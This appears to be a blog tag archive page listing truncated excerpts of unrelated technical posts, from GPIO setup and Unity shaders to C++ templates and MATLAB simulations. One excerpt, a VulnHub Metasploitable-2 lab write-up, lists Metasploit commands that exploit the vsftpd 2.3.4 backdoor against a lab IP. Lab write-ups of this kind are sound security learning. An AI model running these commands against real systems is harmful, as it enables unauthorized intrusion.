1. Initialization process Initialize clock Set the multiplexed IO port of GPIO Set the electrical properties of GPIO Initialize GPIO 2. Understanding volatile initialization registers in C language #define CCM_CCGR0 *((volatile unsigned int *)0x020C4068) Understanding of volatile The volatile keyword has the following uses: (1) Used for synchronization, because the same thing may have multiple […]
Tag: meta
7. Basic use of Metasploit penetration testing framework
7. Basic use of Metasploit penetration testing framework 7.1 Metasploit testing framework 7.1.1 Introduction to Metasploit ? Metasploit is a penetration testing platform that enables you to find, exploit and verify vulnerabilities. The platform includes the Metasploit framework and its commercial counterparts such as Metasploit Pro. ? Metasploit is a free, downloadable framework that makes […]
Meta Pass generation of Shader’s indirect light in Unity
Article directory Preface The indirect light of Shader in Unity generates Meta Pass, which is also the content of global illumination GI. It is mainly implemented like in real life, when light shines on a colored object, the object has the effect of reflecting light of that color. 1. Let’s first use Unity’s own Shader […]
Java obtains video, audio, picture and other metadata information (resolution, size, frame and other information) through javacv
I believe that we all need to return some video or audio information to the front end more or less, so today’s article uses javacv to obtain video, audio, picture and other metadata information (resolution, size, frame, etc.) through Java language 1. First import dependencies You can first import the javacv/javacv-platform dependency. Since the dependency […]
[Metal Growth] Simulation of metallic nickel grain growth based on phase field with matlab code
?About the author: A Matlab simulation developer who loves scientific research. He cultivates his mind and improves his technology simultaneously. For code acquisition, paper reproduction and scientific research simulation cooperation, please send a private message. Personal homepage: Matlab Research Studio Personal credo: Investigate things to gain knowledge. For more complete Matlab code and simulation customization […]
C++ template metatemplate (heterogeneous dictionary and policy template) – – – Part 2
Table of Contents 1. Representation of keys 1.1 Numerical conflict problem 1.2 Identifier management 2.3 Identifier management solution 2.4 How to pass string type as template parameter? 2.5 String literals 2.6 The trouble with strings as VarTypeDict keys 2.7 Use class (or structure) name as key 2. Brief performance analysis of VarTypeDict 3. Use std::tuple […]
SolutionCouldn’t find meta-data for provider with authority
Today, when I reused the code related to installing the APK that I wrote before, an error occurred. That is because the higher version of Android requires a new FileProvider. New file_paths <?xml version=”1.0″ encoding=”utf-8″?> <paths xmlns:android=”http://schemas.android.com/apk/res/android”> <!– <root-path name=”root” path=”” />–> <files-path name=”files” path=”files” /> <cache-path name=”cache” path=”files” /> <!– <external-path name=”external” path=”files” />–> […]
Velox: Computing engine base implemented by Meta
0 Background I recently joined the field of computing engines, and I have a deep understanding of how important it is to look up and follow the industry when you lower your head and rush forward. The difference between computing and storage is still very big, and it is essentially a difference between presence and […]
[EI Recurrence] Dynamic pricing and energy management of multi-virtual power plants in master-slave game based on meta-model optimization algorithm (Matlab code implementation)
Welcome to this blog Advantages of bloggers:Blog content should be as thoughtful and logical as possible for the convenience of readers. Motto:He who travels a hundred miles is half as good as ninety. The directory of this article is as follows: Table of Contents 1 Overview 2 Operation results 3 References 4 Matlab code, data, […]
VulnHub Metasploitable-2
1. Information collection nmap scan Access port 80 2. Vulnerability Exploitation 1. Vulnerability 1 1.vsftpd 2.3.4 (CVE-2011-2523) 2.msf msf6 > search vsftpd msf6 > use 0 msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set rhosts 192.168.103.189 msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run 2. Vulnerability 2 samba 3.x Suspiciously, I saw that the samba service is open, the version is: samba 3.x […]